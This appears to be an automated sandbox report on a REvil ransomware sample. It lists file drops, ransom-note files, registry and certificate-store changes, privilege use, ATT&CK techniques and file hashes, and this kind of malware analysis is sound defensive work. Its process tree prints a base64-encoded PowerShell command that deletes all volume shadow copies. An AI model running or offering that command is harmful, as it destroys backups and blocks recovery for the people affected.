2024-03-10_eacf011b488ace6141225c656a7168b4_revil.exe File opened (read-only) \??\S: 2024-03-10_eacf011b488ace6141225c656a7168b4_revil.exe File opened (read-only) \??\B: 2024-03-10_eacf011b488ace6141225c656a7168b4_revil.exe File opened (read-only) \??\W: 2024-03-10_eacf011b488ace6141225c656a7168b4_revil.exe -
Drops file in System32 directory 1 IoCs
Processes:
2024-03-10_eacf011b488ace6141225c656a7168b4_revil.exedescription ioc process File opened for modification C:\Windows\System32\CatRoot2\dberr.txt 2024-03-10_eacf011b488ace6141225c656a7168b4_revil.exe -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
Processes:
2024-03-10_eacf011b488ace6141225c656a7168b4_revil.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\8c87gbe4ck17i.bmp" 2024-03-10_eacf011b488ace6141225c656a7168b4_revil.exe -
Drops file in Program Files directory 15 IoCs
Processes:
2024-03-10_eacf011b488ace6141225c656a7168b4_revil.exedescription ioc process File created \??\c:\program files (x86)\1ik699-readme.txt 2024-03-10_eacf011b488ace6141225c656a7168b4_revil.exe File opened for modification \??\c:\program files\RestartFormat.js 2024-03-10_eacf011b488ace6141225c656a7168b4_revil.exe File opened for modification \??\c:\program files\TestRedo.tmp 2024-03-10_eacf011b488ace6141225c656a7168b4_revil.exe File created \??\c:\program files (x86)\microsoft sql server compact edition\v3.5\desktop\1ik699-readme.txt 2024-03-10_eacf011b488ace6141225c656a7168b4_revil.exe File opened for modification \??\c:\program files\AddAssert.sql 2024-03-10_eacf011b488ace6141225c656a7168b4_revil.exe File opened for modification \??\c:\program files\PopSkip.mpg 2024-03-10_eacf011b488ace6141225c656a7168b4_revil.exe File opened for modification \??\c:\program files\UnblockConvert.dotm 2024-03-10_eacf011b488ace6141225c656a7168b4_revil.exe File created \??\c:\program files\1ik699-readme.txt 2024-03-10_eacf011b488ace6141225c656a7168b4_revil.exe File opened for modification \??\c:\program files\ConvertDeny.mhtml 2024-03-10_eacf011b488ace6141225c656a7168b4_revil.exe File opened for modification \??\c:\program files\MoveAssert.jpeg 2024-03-10_eacf011b488ace6141225c656a7168b4_revil.exe File opened for modification \??\c:\program files\SyncSend.vstm 2024-03-10_eacf011b488ace6141225c656a7168b4_revil.exe File created \??\c:\program files (x86)\microsoft sql server compact edition\v3.5\1ik699-readme.txt 2024-03-10_eacf011b488ace6141225c656a7168b4_revil.exe File opened for modification \??\c:\program files\DisableFormat.gif 2024-03-10_eacf011b488ace6141225c656a7168b4_revil.exe File opened for modification \??\c:\program files\UnpublishSubmit.html 2024-03-10_eacf011b488ace6141225c656a7168b4_revil.exe File created \??\c:\program files (x86)\microsoft sql server compact edition\1ik699-readme.txt 2024-03-10_eacf011b488ace6141225c656a7168b4_revil.exe -
Processes:
2024-03-10_eacf011b488ace6141225c656a7168b4_revil.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8 2024-03-10_eacf011b488ace6141225c656a7168b4_revil.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827 2024-03-10_eacf011b488ace6141225c656a7168b4_revil.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13 2024-03-10_eacf011b488ace6141225c656a7168b4_revil.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 430000000100000000000000040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d1900000001000000100000006cf252fec3e8f20996de5d4dd9aef424030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131d00000001000000100000004558d512eecb27464920897de7b66053140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc41560858910090000000100000016000000301406082b0601050507030406082b060105050703010b000000010000001e000000440053005400200052006f006f007400200043004100200058003300000020000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510 2024-03-10_eacf011b488ace6141225c656a7168b4_revil.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 2024-03-10_eacf011b488ace6141225c656a7168b4_revil.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 040000000100000010000000497904b0eb8719ac47b0bc11519b74d00f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d578112861900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f00000053000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b06010505070308200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e 2024-03-10_eacf011b488ace6141225c656a7168b4_revil.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
2024-03-10_eacf011b488ace6141225c656a7168b4_revil.exepowershell.exepid process 3008 2024-03-10_eacf011b488ace6141225c656a7168b4_revil.exe 2912 powershell.exe -
Suspicious use of AdjustPrivilegeToken 6 IoCs
Processes:
2024-03-10_eacf011b488ace6141225c656a7168b4_revil.exepowershell.exevssvc.exedescription pid process Token: SeDebugPrivilege 3008 2024-03-10_eacf011b488ace6141225c656a7168b4_revil.exe Token: SeDebugPrivilege 2912 powershell.exe Token: SeBackupPrivilege 2436 vssvc.exe Token: SeRestorePrivilege 2436 vssvc.exe Token: SeAuditPrivilege 2436 vssvc.exe Token: SeTakeOwnershipPrivilege 3008 2024-03-10_eacf011b488ace6141225c656a7168b4_revil.exe -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
2024-03-10_eacf011b488ace6141225c656a7168b4_revil.exedescription pid process target process PID 3008 wrote to memory of 2912 3008 2024-03-10_eacf011b488ace6141225c656a7168b4_revil.exe powershell.exe PID 3008 wrote to memory of 2912 3008 2024-03-10_eacf011b488ace6141225c656a7168b4_revil.exe powershell.exe PID 3008 wrote to memory of 2912 3008 2024-03-10_eacf011b488ace6141225c656a7168b4_revil.exe powershell.exe PID 3008 wrote to memory of 2912 3008 2024-03-10_eacf011b488ace6141225c656a7168b4_revil.exe powershell.exe -
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\2024-03-10_eacf011b488ace6141225c656a7168b4_revil.exe"C:\Users\Admin\AppData\Local\Temp\2024-03-10_eacf011b488ace6141225c656a7168b4_revil.exe"1⤵
- Adds Run key to start application
- Enumerates connected drives
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3008 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2912
-
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:2668
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2436
Network
MITRE ATT&CK Enterprise v15
Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Defense Evasion
Modify Registry
3Subvert Trust Controls
1Install Root Certificate
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
6KB
MD50d49401c546b1ca1b5d5251133049ec0
SHA114d1ba537c0ee0a6c80e1c540f4f6e73c0b6374c
SHA256a2902f60499a17371ff4a67e8d213daeb5c1d99044af83f72da46bf668a94804
SHA512226f1c15ab026c00a451618e18e9cc46af0a998720fee1efaec5623c341776ef9e847d699d4c01a7d001e8b8351e55aa4def7f636ef487fbc3cfbdcbcf99f963
-
Filesize
67KB
MD5753df6889fd7410a2e9fe333da83a429
SHA13c425f16e8267186061dd48ac1c77c122962456e
SHA256b42dc237e44cbc9a43400e7d3f9cbd406dbdefd62bfe87328f8663897d69df78
SHA5129d56f79410ad0cf852c74c3ef9454e7ae86e80bdd6ff67773994b48ccac71142bcf5c90635da6a056e1406e81e64674db9584928e867c55b77b59e2851cf6444
-
Filesize
65KB
MD5ac05d27423a85adc1622c714f2cb6184
SHA1b0fe2b1abddb97837ea0195be70ab2ff14d43198
SHA256c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d
SHA5126d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d
-
Filesize
175KB
MD5dd73cead4b93366cf3465c8cd32e2796
SHA174546226dfe9ceb8184651e920d1dbfb432b314e
SHA256a6752b7851b591550e4625b832a393aabcc428de18d83e8593cd540f7d7cae22
SHA512ce1bdd595065c94fa528badf4a6a8777893807d6789267612755df818ba6ffe55e4df429710aea29526ee4aa8ef20e25f2f05341da53992157d21ae032c0fb63
-
Filesize
192KB
MD5a2e581fff3496927d26e315715df752e
SHA16ebc7b86176171289e372315c8a32f00958bf15d
SHA2567616f49c0739562f66774ab630bf20c6179138712ff3e1742f5701c79a004570
SHA512476003059b34ab281d4a0bd1d1ba38cc4310c32876db43d2d16f5b5196a5961fd3cc139106acc0e6a94699a7c347b737a191e7f7eaae2222f49079ffadd7ab03
-
MD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e